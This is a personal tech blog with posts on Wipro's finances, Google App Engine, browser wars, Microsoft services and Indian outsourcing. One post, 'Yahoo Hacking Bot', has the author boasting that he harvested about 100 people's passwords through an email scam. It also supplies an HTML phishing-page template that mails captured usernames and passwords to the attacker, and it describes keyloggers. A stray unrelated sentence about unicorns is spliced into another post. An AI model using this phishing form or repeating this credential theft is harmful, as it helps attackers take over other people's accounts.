Twitter Told Me

oops.. I was accessing twitter for tweeting, but this is what twitter told me.

Licenced Software Engineer??????

There are few people in this world, who think that now software engineer should be licensed, because their decisions has risk of life (as good as medical doctors).

I think this is true, being a software engineer we should be careful while writing the code, every mess up we do today, can have a bigger impact tomorrow. Simply just you see software in mobile, mobile software are becoming slower than ever even though our hardware has dramatically evolved. Our current software is not at all optimized.

We need software professionals who are responsible towards the community, because every time when you do mistake in your code or writing code casually, end of the day your spoiling the entire software community and making bad impact on software evolution.

I never get surprised when i knew that V8 engine is much more (130 times) faster than Microsoft's JavaScript engine. its nothing like Google has done gr8 level of optimization, rather Google just had a fresh look on the JavaScript engine. They were completely focused on the development, has done the development in shorter span of time, so not much of mess-up in the code. and that is how its faster...

Bug in Orkut

click to enlarge and see the bug in orkut 

Wipro is worst hit.

As all of know that the there is a slow down in financial sector in US.  Now the funny part is Stayam and Wipro are the worst hit companies, Though TCS brings 43-44 % of its revenue from the financial service which is the highest percentage comparing top 4 services companies in India (TCS, Wipro, Infosys and Satyam). 

• Wipro is known as biggest player in telecommunication amoung these 4 companies, good thing is telecom is currently on boom, so by the equation wipro should be booming. But..NO its doing layoff.
• This Year job Offers (to freshers) from Satyam and Wipro were about 33-50 % lower while that of TCS and Infosys Technologies were 16% and 12% lower, respectively.
• Ok, now goto Google News and search for Wipro ( u will be surprised to read news abt wipro)

Come on Wipro you need to do some thing for this. May be you replace your idiotic and technically dumb managers, and old, tired, un-energetic top management.

Flickr madaboutasia

I found this interesting guy on Flickr. Read his profile ...its Fun.
especially i liked his "photographer's ethics"

Photo above is of Priyanka Chopra on the set of Krish. This photo is captured by him (madaboutasia).

Google App Engine

I am very happy to Blog that Google has started its cloud computing. Today Google has launched its “App Engine”. This was something I was waiting for last 2 years. I just registered my self for this service. We will see what the features it has?

For the time being Google has released software SDK for this, which simulates exactly the same kind of environment as actual engine (which will run on Google machines).

Best part of this new service is that it is free to get started, test the functionality and then you can go for the hosting. Now I am telling you than people will come up with whole big out-of-the-box applications for this new service.

This engine is of-course cloud computing enabled, you can scale your infrastructure as per your need, and which is the biggest benefit of cloud computing.

Google left Amazon far behind in this service, lets see how Microsoft is coming up with.

Onsite policy in Indian Outsourcing Companies (sucks)

Indian companies which work on outsourcing model have a peculiar specialty; their employees work out of either offshore or onsite. Let me explain you this.

Indian outsourcing companies work for nonIndian companies (mostly US, japan or UK). I mean product oriented companies can give their part of work to service oriented companies (e.g. Wipro Infosys TCS Satyam etc.). Since employee of these company work for other company their employees are divided in two categories, one is onsite who are working based out of client location, other is offshore who based out of the native location.

Hmm let me make it simple, e.g. Microsoft has some work do be done (mostly some maintenance kinda work), it can outsource its work to companies like Wipro.
Now since Wipro has to co-ordinate with Microsoft to get the work done, Wipro will put some of its employees in US (Onsite) and rest of the employee will work based out of India (offshore).

In India, these companies hire huge amount of software engineers. Approximately every year they consume more that 80% of total produced engineers. Now in cities like Bangalore & Hyderabad, it’s like every second person is software engineer who work for some Indian outsourcing company

Now lets come to the point, the people who works onsite in-cash huge money, while the people who work offshore are starved. Actually the basic funda is that these companies make money only by hiring cheap labor (offshore people). So there is tough competition in offshore people to go onsite. The Onsite and offshore model itself can be criticized.
The worst thing which is about these companies is the way they send people onsite. It’s absolutely no way talent based, it’s purely based on the QUEUE model. Every one who joins the company will come in the queue of onsite waiting members, irrespective of how talented you are. This is one of the reason most of the time talented guys (not gals ;-) ) leaves the companies before availing onsite. So at any given time you will find that the person who is working onsite is absolutely dumb compared to the person who is working offshore. Consequently, Person who is dumb is getting more money than smart one.

Anyway things are getting done so these companies are still alive. But they are alive just like a bull in floor mill. Product companies always interfaced with the dumb people and hence they have an opinion of Indian companies as a company of dump people. So they only outsource the gibberish stuff to these companies.

Vodafone

Let me report that vodaphone WAP site in india called vodafone live is hosting nude images of pamela anderson. wtf
check on this link
http://202.87.41.147/hungamawap/hutch/4756/index.php3

Unix Or WindowsNT

Today I read a nearly 8 years old article about "which operating system is better?". The article was written by one of the famous and my favorite technologist, Mark Russinovich. Russinovich is the man behind the famous Sony Rootkit Controversy. He is the only man who wrote many tools for windows, which you can find on http://www.sysinternals.com/.
Even 8 years ago it was the fight that whether the Unix (Lets include Linux also here) or Windows is better operating system. Russinovich wrote in his article that the OS is all about the application availability, initial cost, cost of support and maintenance, compatibility with existing infrastructure, and ease of use. The things are clear now still today the windows has more than 60% of market penetration and now when Windows Vista has come into the market with better security and look & feel, there is no way that the *nix OS will come into the market in next 10 years.
I like to quote these two paragraph in this post which was written in the article…do not miss these

A major difference between UNIX's and NT's: architecture is that UNIX does not
incorporate its windowing system--the subsystem that manages GUI resources for
applications--into kernel mode, as does NT 4.0. Instead, the UNIX windowing
system is an add-on user-mode application that its developers wrote using
publicly defined UNIX APIs; consequently, third-party products can replace
UNIX's windowing system. However, the majority of the UNIX community has adopted
MIT's X-Windows as a de facto, if not official, graphical interface standard.
Before NT 4.0, the NT windowing system was a user-mode implementation, but
Microsoft found that the performance of graphics-intensive applications improved
when the windowing system operated in kernel mode.

Namespace and object management:In the NT object model, device drivers can easily implement
objects in the namespace that represent nonstandard resources. For example, a
device driver can create an object called \Proc that, after an application reads
it, returns information about the active processes in the system.

Vint Cerf

On fab 21 (this Wednesday) I went to attend a speech by Vint Cerf (Known as the father of internet), the speech was organized by Google. Its a great initiative by Google to organize a series of speeches. Vint Cerf spoke about the past , present and future of internet. The talk was absolutely nice and no where it was like Google advertisement, but I saw blog of many attendees that says that the Google is advertising itself by making use of Vint Cerf. I think these people are crazy, they don’t know the fact that Google does not need any advertisements, it is a passion of millions of people without putting a single image on its Home Page. Those who thinks that feedback form was to hire people were more crazy, because they are unaware of the fact that Google is one of the highest paying employer in the world, and its not Google who needs people, but its people who needs Google. The format of Feedback form is very common in all kinds of such speeches/conference.

Wipro related news of this week

The unicorn is a legendary creature with the body of a horse, but with a single — usually spiral — horn growing out of its forehead (whence its name—cornus being Latin for 'horn')

Hi friends
One thing is very peculiar about wipro is that its media presence is very bursty. I mean some time a week long you will not get any news about wipro and some times you will get lots of news about wipro. Here is the week where i saw some 3 to 4 news about wipro....
I am posting those news here.

Wipro acquires Quantech Global
Wipro Technologies, the global IT services division of Wipro Limited, on Monday, announced plans to acquire Quantech Global Services in an all cash deal, for an undisclosed amount.
The consideration includes an upfront cash payment on closure of the transaction as well as an earn-out on achieving agreed financial targets over three years, said Chief Operating Officer, Wipro Technologies, D L Rao.
Mr Rao said Quantech is a leading provider of computer aided design (CAD) and engineering services to fortune 500 companies in the automotive, aerospace and consumer goods industries.




Wipro to develop Rs 200 cr campus in Vizag
Chief Minister YS Rajasekhara Reddy today laid the foundation stone for a Rs 200 crore Wipro Technologies campus at Vishakhapatnam.Wipro will invest the amount over the next four-five years in its campus, coming up on the seven acre land the Andhra Pradesh government has allotted to the IT major for a nominal cost.The allocation of land is in part of Andhra's bid to promote IT industry in the state.According to A Lakshman Rao, chief operating officer of Wipro, the company initially investment Rs 25 crore, and hire about 750 employees."We have plans to expand our activity by investing about Rs 200 crore over the next four-five years and create 6,000 jobs," he added.


Wipro chief sees rise in Indian R&D
"The U.S. will graduate more sports therapists this year than engineers," Azim Premji, chairman of Wipro, said at the Future in Review conference here Monday. "Engineering and medicine are the two most preferred professions in India, by far."

Software services still account for the largest percentage of Wipro's revenue, at about 60 percent, Premji said. But the company has become the world's largest independent provider of research and development services for other companies, and it hopes that the segment will account for 40 percent to 45 percent of Wipro's revenue over the next few years, Premji said in a brief interview following his public discussion with Rafiq Dossani, a senior research scholar at Stanford University.

Wipro, Oracle deploy online surveillance system in BSE
Wipro and Oracle recently implemented phase – I of the BSE’s Online Surveillance System-integrated (BOSS-i). BOSS-i caters to Bombay Stock Exchange’s (BSE) complex market vigilance requirements and promotes market integrity by providing a capturing trading data in Equities & Derivatives market.


Bye for now..... Actually my exams are going on these days......

Google’s 'Explorer Destroyer'

Google’s 'Explorer Destroyer' movement aims IE

Google has lunched Explorer Destroyer campaign. Here in this blog I have quoted the various texts from different sources that says some thing very much interesting .

What is It?

According to the Explorer Destroyer Web site, the group offers Web-site owners scripting technology that detects whether a visitor is running IE. If so, an alert will appear advising the visitor to download Firefox so they can either view the site better or view it at all. Whenever a visitor to a Web site using the group's technology switches to Firefox from IE, the owner of the Web site will get the referral fee if they have signed up for.

How it works?

According to the Explorer Destroyer Web site, the group offers Web-site owners scripting technology that detects whether a visitor is running IE. If so, an alert will appear advising the visitor to download Firefox so they can either view the site better or view it at all. Whenever a visitor to a Web site using the group's technology switches to Firefox from IE, the owner of the Web site will get the referral fee if they have signed up for Google's AdSense program.

There are three types of alerts site owners can put on their page--"gentle encouragement," "semi-serious," or "dead serious."

If a Web site owner chooses "gentle encouragement," site visitors who are using IE will see a banner across the top of the page that encourages them to download Firefox. A "semi-serious" site will put up a splash page encouraging a user to download Firefox, with a link for downloading Mozilla's browser as well as a link to the Web site.

Those who choose the "dead serious" alert actually block users with IE from viewing the page, informing them they must install Firefox to view the site. View a demo of what happens when a user clicks on a site with this rating.

Reactions

"Everyone likes a good horse race--even when the race is fixed. That's about how I see the supposed race between Internet Explorer and Firefox. Ever since IE was included with Microsoft's operating system, its dominance has pretty much been a done deal. But that doesn't mean the front-runner should sit back and rest on its laurels. And up until now, that's what Microsoft has been doing."

"Just as IBM finally got that suits and white shirts and shiny shoes don't project a friendly image at trade shows, Microsoft seems to have finally understood that just shipping a browser along with its OS isn't going to guarantee that people will use it. So as Ed Bott reveals in "IE7 For XP Beta 2: Has Firefox Met Its Match?" Redmond has added a few interesting features to its venerable browser, such as tabbing and some additional security protection. (Which it needs--IE is still the number-one target of malware writers.)"

"I think IE 7 brings the browser to parity with Firefox in terms of features, and the security is a big improvement over IE 6," said Matt Rosoff, an analyst with Directions on Microsoft "I think it will be good enough to stop some of IE's market share loss to Firefox."

However, Microsoft's history is replete with examples of the company using its financial and distribution muscle to overpower smaller competitors. It used such tactics with devastating effect in the first round of the browser wars in the 1990's, when it challenged the once dominant Netscape browser and eventually drove it out of business.

Information Week ran a comprehensive test of both browsers and concluded that Firefox was still slightly ahead especially for technology savvy users like programmer Mitchell Adams.

Wipro Q4 net profit

Wipro Q4 net profit has rose 43% on a year-on-year basis. The company today reported a consolidated net of Rs 617.90 crore for the quarter ended March 2006 when compared to Rs 433 crore in the corresponding quarter a year ago. The Q4 total income increased 35% to Rs 3,113.20 crore from Rs 2,312.10 crore in a year ago period

For Year 2006 (FY06) consolidated net profit was up 27% at Rs 2,067.40 crore from Rs 1,628.50 crore in FY05. The total income grew 30% to Rs 10,625.80 crore as against Rs 8,169.80 crore.

The company's board has proposed a final dividend of Rs 5 per share.

Azim Premji, chairman of Wipro, said: "We look back at our performance in 2005-06 with immense satisfaction. It was a year in which we crossed several landmarks - including Rs 10,000 crore in total revenue, $2 billion mark in IT business revenue, Rs 500 crore quarterly profit, 5% revenue contribution from innovation initiatives and team size of 50,000. With all Wipro businesses delivering industry-leading growth rates, we were able to post record revenue and profit growth. Looking ahead, for the quarter ending June 2006, we expect revenue from global IT services business to be approximately $533 million."

This is great news for me. Basically I don’t know how these results are going to affect us. but one thing is sure that these result will be encouraging for the employees and shareholders, and also for me since I have to join Wipro in next June/July as a trainee.

I am tracking wipro's results since the day i was placed in the Wipro. I saw this year's Q2, Q3 and now Q4 results.

The Q2 result was not that much encouraging because the rival companies (like Infosys and TCS) made more profit than wipro.

The Q3 result was bit encouraging. in fact the results were better than rival compainies on %tage basis. since we can not compare the infosys and TCS on the absolute basis as there net capital is more that that of Wipro.

Between the Q3 and Q4 Wipro made some of the acquisitions. You can read my quoted text which wrote in my yahoo 360 blog.
"It's a takeover week for Wipro. After lying low for almost two years, Wipro is deep into the acquisition mode and has devoured two companies within four days. On Thursday (December 22, 2005), it acquired New Jersey-based mPower Inc, for all cash payout of $28 million, even before the ink had dried on its three-day old $56 million purchase of Austria-based NewLogic.In a space of just one week, it has shelled out nearly $100 million to entrench itself well into the financial services (mPower) and wireless design (NewLogic) sectors. "

Wipro also bagged the 300b deal from GM and Rs360 crore outsourcing deal with HDFC Bank.

Now in q4 the results are really encouraging......

Google Page Creator

After a long time, I found this service of Google on which I want to put some comment. Since Google expanding its business area and its started many service. like Gmail, Personalized Search, Google Earth,Google Reader, Google Analytics... and much more.

All these services are really amazing....

I think at least 4 weeks ago I came to know that the Google have launched its new service Google Page creator from its site http://labs.google.com. I immediately rushed to get the service but I disappointed to know that the service in not opened for all due to resource problem. No Problem!! I have submitted my request for it., and yesterday I got the mail from Google that now I can get the Page Creator Service.

I started with lot of enthusiasm and excitement but I found that this service got nothing new except the browser embedded editor and a space to host your personal pages.

I think now the Google become the same old kind of company who always brings the older concepts to business. I mean I didn’t find any thing interested in this new service of Google.

Yahoo Hacking Bot

Hi Guys,
Today I am going to discuss about what I did on last week. Before this let me tell you that I am very much interested in hacking. I mean I want to learn hacking techniques that was used in history by other hackers. In this series, in previous week I was searching about what are all the techniques that were used for the hackers to hack the online web mail accounts like Yahoo.

So I googled and found a very few techniques that were used. The most of the techniques are all known to me like Key-loggers, Dummy pages and Social Engineering. Last week using social engineering technique I got the password of nearly 100 people on the net. Now let me tell you that how these three techniques works and how can you defend yourself.

Key-Loggers

The key loggers are very cheap kind of hacking utility that is used by script kiddies. It’s software that logs every key press on a particular machine. So using this you can record the keys and u can get password of any kind of form based authentication scheme, Irrespective of the authentication technique used by your server program. Form based authentication means the authentication scheme is scheme that takes user name and password from user.

So may be your friend will install a key logger on your machine when you are away from your machine (that is left open). Key loggers are can also be presents on Internet Café Machine.

Dummy Pages

Dummy pages are the false login page that looks very similar to original page and that is having some different Action value. Means it will be a fake HTML form page whose post method will be set to post and action will be configured in such a way that when you submit the information it will be sent to some e-mail Id. This may be the case that you will try to login on these pages and your password will be posted to your friend’s (hacker) email.

Here is a simple example of Dummy page

<form action="Your SMTP URL" method="POST">
<input type="Hidden" name="to" value="Your email Id">
<input type="Hidden" name="subject" value="Subject of email ">
<input type="text" name="user" value="">
<input type="text" name="pass" value="">
<input type="submit" name="submitbutton" value="">
</form>

Social Engineering

The last method that I come across was a social Engineering which deceives the user by telling them a very easy method to hack yahoo which describes like this.

1.First send a letter to hack_mit_bot@yahoo.com, second within the
Subject heading place the word "Password".
2. Then in the text field place the YahooID of the person that you
want to hack in small letters.
3.Then and place your own yahoo account information such as: "My
login:My password" (a semicolon makes it easier for the bot to
recognize). This way the bot can verify that your account actually
exists. And then supplies you with the password for the person's
account that you want it for. Here is example:

To: hack_mit_bot@yahoo.com
Cc:
Bcc:
Subject: Password

YourYahooID@yahoo.co.in:>

So all the people who want to hack someone Yahoo ID will be hacked itself.

Can you believe this, this method is posted on the internet few years back but still I got many Idiots who sent me their password.

Reality

If anyone a claim that he can get your yahoo password is either dam fool or he is dam intelligent who can really hack the existing algorithms. Why I am telling this because the password stored on the yahoo server is neither exactly your plain password nor its encrypted password, but it’s the hash of your password that can not be decrypted back unless you crack it by some brute force attack. So guys even the yahoo administrator can not get your password.

But if someone still hacking your yahoo mail it’s totally due to your mistake. I mean either you logged on the machine which has keyboard logger or you entered your password on some dummy page.

So be claver enough that someone can not hack your password.

Windows Live

Microsoft's foray into hosted applications will have an initially minimal impact on the software vendor, but will certainly affect some of its main competitors, industry analysts told vnunet.com.
"This is more a swing of the pendulum," said Rob Helm, director of research at analyst firm Directions on Microsoft.
"In 2000 the pendulum was swinging towards hosted services. Two years later it was swinging back. Now Microsoft is going to make another run at it."
Microsoft unveiled its Live Software initiative on Tuesday at a media event in San Francisco. The strategy will see the launch of the new Office Live and Windows Live products.
Both are mostly free and supported by advertisements, and are offered as an online service through a browser.
Users will be able to access the applications on any device with a browser, ranging from mobile phones to PDAs and desktop PCs.
In the short term, however, the initiative will mostly be a rebranding of existing Microsoft services including Hotmail and MSN Messenger.
The two will be released under the Live Mail (video demonstration) and Live Messenger (video demonstration) brands respectively. Similarly Microsoft's Small Business Centre will become Office Live.
"It's mostly a branding change and an overall statement of direction," said Helm. But by making the services available free of charge and supported by advertisements, Microsoft is stepping up the competition with Google and Yahoo.
However, unlike Google and Yahoo, Microsoft does not rely solely on advertising revenues to stay in business. This not only makes it a low risk best for the software provider, but offers a shot at ruining Google's and Yahoo's business.
"Even if Microsoft doesn't win, it's possible for others to lose," said Helm.
Microsoft launched a big push towards hosted applications in 2000, but the doomed Hailstorm project faced many obstacles.
Users did not trust Microsoft, and the low adoption rate of broadband connections limited the appeal of software that required users to be constantly online. As the internet bubble burst, Microsoft quietly folded the initiative.
Trust will be a major hurdle for Microsoft once again, according to Charlene Li, principal analyst for devices, media and marketing at Forrester Research.

Microsoft's Another Tactic

US software colossus Microsoft announced plans on Wednesday to launch an online library of books and other written works.
A "beta" version of MSN Book Search will go into service online next year, Microsoft said in a written release.
"We are excited to be working with libraries worldwide to digitize and index information from the world's printed materials," said Christopher Payne, corporate vice president of MSN Search.
"We believe people will benefit from the ability to not just view a page, but to easily act on that data in contextually relevant ways, both online in the search experience and in the applications they are using," he said.
Microsoft will start its library with books in the public domain then expand it to include other works, according to the company.
Microsoft's digital text compilation will consist primarily of material that is not copyrighted and it will strive to work out deals with the owners of written works before including them in the online library, the company said.
Microsoft was evidently trying to avoid the kind of criticism and contention its Internet rival Google provoked with a plan to amass all the world's books in an online archive.
Google unveiled its project, "Google Print," in October last year.
Google suspended the plan in August after being lambasted internationally by authors, traditional libraries and publishing houses that claimed copyrights were being threatened.
Google's print production manager Adam Smith said at the time that Google would not scan any more copyrighted books until next month, to give publishers a chance to figure out what books they want kept from the planned online library.
In April, 19 European national libraries announced a multi-million euro counter-offensive aimed at blocking Google's quest to create a global virtual library.
The alliance, organized by France's national library, formed after Michigan University and four other top libraries -- Harvard, Stanford, New York Public Library and the Bodleian in Oxford -- made a deal with Google to digitize millions of their books and make them freely available online.
Google has consulted with publishers, authors and trade organizations to assuage concerns about copyrights, according to Smith.
Google invited publishers to provide lists of copyrighted works they want logged in the online library so the search engine can refer potential readers their way to buy the books in one form or another.
Google also offered to keep publishers and authors updated on interest in their books and share revenue from "contextual advertising."
The Google Print project rattled the cultural establishment in Paris, raising fears that French language and ideas could be just sidelined on the World Wide Web, already dominated by English.
French President Jacques Chirac, at one point, asked Culture Minister Renaud Donnedieu de Vabres and France's National Library president Jean-Noel Jeanneney to study how collections in libraries in France and Europe could be more widely and more rapidly distributed via Internet.
Jeanneney said at the time that Google's plan confirmed "the risk of a crushing American domination in the definition of how future generations conceive the world."
The alliance opposing Google's plan included national libraries in Austria, Belgium, the Czech Republic, Denmark, Estonia, Finland, France, Germany, Greece, Hungary, Italy, Lithuania, Luxembourg, the Netherlands, Poland, Slovenia, Slovakia, Spain and Sweden. This story has been viewed 129 times.